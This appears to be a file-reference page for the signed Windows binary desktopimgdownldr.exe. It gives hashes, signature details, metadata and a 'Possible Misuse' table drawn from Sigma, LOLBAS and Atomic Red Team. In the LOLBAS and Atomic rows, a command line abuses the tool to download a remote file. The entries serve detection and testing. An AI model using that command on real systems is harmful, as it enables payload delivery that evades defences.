desktopimgdownldr.exe

  • File Path: C:\WINDOWS\system32\desktopimgdownldr.exe
  • Description: desktopimgdownldr.exe

Hashes

Type Hash
MD5 4310F04E81E3BBBF0C2D6231CE4C9CF9
SHA1 71BCF5B4319CFA8803588D7921E62CB2C11C69A3
SHA256 8ABDB26264FEA2529FE91D355128E283B93A66144C76FF96E1C1F9CDDFFC75A7
SHA384 8F3DEAD5DB40B76E8D3ABD060E9E65A6743970A8E54AD5A3911A07473DD460ED4AAE306B16B89398F958AB190BA50623
SHA512 906C1199CAE0B8C285C8ECF71668DD3DAEB543F6741A6806933BAB0307411A2C57C39153C228DFCF25551B4220D0A9F835CCF067245E5479E3A1454C4255B40F
SSDEEP 1536:xce799kpRpw3Aylus6NxvFLlwp9X4ULFPlMNR4pknAfZYl+00NIcAXQcO3U:TApeAPs6Nx1lwphhCaCCE0NIcAAcO
IMP 37D6DC6AADFD1E05E947C537F5829588
PESHA1 43265EC4001355547B1C4F5AFA9A568E75DFB40A
PE256 A086063ACA0BA550D8A7E229830FE518233BC79747ED40D66BB83B53968C1717

Runtime Data

Loaded Modules:

Path
C:\WINDOWS\system32\desktopimgdownldr.exe
C:\WINDOWS\System32\KERNEL32.DLL
C:\WINDOWS\System32\KERNELBASE.dll
C:\WINDOWS\SYSTEM32\ntdll.dll

Signature

  • Status: Signature verified.
  • Serial: 33000002ED2C45E4C145CF48440000000002ED
  • Thumbprint: 312860D2047EB81F8F58C29FF19ECDB4C634CF6A
  • Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
  • Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

  • Original Filename: desktopimgdownldr.exe
  • Product Name: Microsoft Windows Operating System
  • Company Name: Microsoft Corporation
  • File Version: 10.0.22000.1 (WinBuild.160101.0800)
  • Product Version: 10.0.22000.1
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.
  • Machine Type: 64-bit

File Scan

  • VirusTotal Detections: 0/73
  • VirusTotal Link: https://www.virustotal.com/gui/file/8abdb26264fea2529fe91d355128e283b93a66144c76ff96e1c1f9cddffc75a7/detection

Possible Misuse

The following table contains possible examples of desktopimgdownldr.exe being misused. While desktopimgdownldr.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma file_event_win_susp_desktopimgdownldr_file.yml title: Suspicious Desktopimgdownldr Target File DRL 1.0
sigma file_event_win_susp_desktopimgdownldr_file.yml description: Detects a suspicious Microsoft desktopimgdownldr file creation that stores a file to a suspicious location or contains a file with a suspicious extension DRL 1.0
sigma proc_creation_win_susp_copy_system32.yml description: Detects a suspicious copy command that copies a system program from System32 to another directory on disk - sometimes used to use LOLBINs like certutil or desktopimgdownldr to a different location with a different name DRL 1.0
sigma proc_creation_win_susp_desktopimgdownldr.yml title: Suspicious Desktopimgdownldr Command DRL 1.0
sigma proc_creation_win_susp_desktopimgdownldr.yml description: Detects a suspicious Microsoft desktopimgdownldr execution with parameters used to download files from the Internet DRL 1.0
LOLBAS Desktopimgdownldr.yml Name: Desktopimgdownldr.exe  
LOLBAS Desktopimgdownldr.yml - Command: set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr  
LOLBAS Desktopimgdownldr.yml - Path: c:\windows\system32\desktopimgdownldr.exe  
LOLBAS Desktopimgdownldr.yml - IOC: desktopimgdownldr.exe that creates non-image file  
atomic-red-team index.md - Atomic Test #4: Bits download using desktopimgdownldr.exe (cmd) [windows] MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - Atomic Test #4: Bits download using desktopimgdownldr.exe (cmd) [windows] MIT License. © 2018 Red Canary
atomic-red-team T1197.md - Atomic Test #4 - Bits download using desktopimgdownldr.exe (cmd) MIT License. © 2018 Red Canary
atomic-red-team T1197.md ## Atomic Test #4 - Bits download using desktopimgdownldr.exe (cmd) MIT License. © 2018 Red Canary
atomic-red-team T1197.md This test simulates using desktopimgdownldr.exe to download a malicious file MIT License. © 2018 Red Canary
atomic-red-team T1197.md and not desktopimgdownldr.exe. See https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/ MIT License. © 2018 Red Canary
atomic-red-team T1197.md set “#{download_path}” && cmd /c desktopimgdownldr.exe /lockscreenurl:#{remote_file} /eventName:desktopimgdownldr MIT License. © 2018 Red Canary

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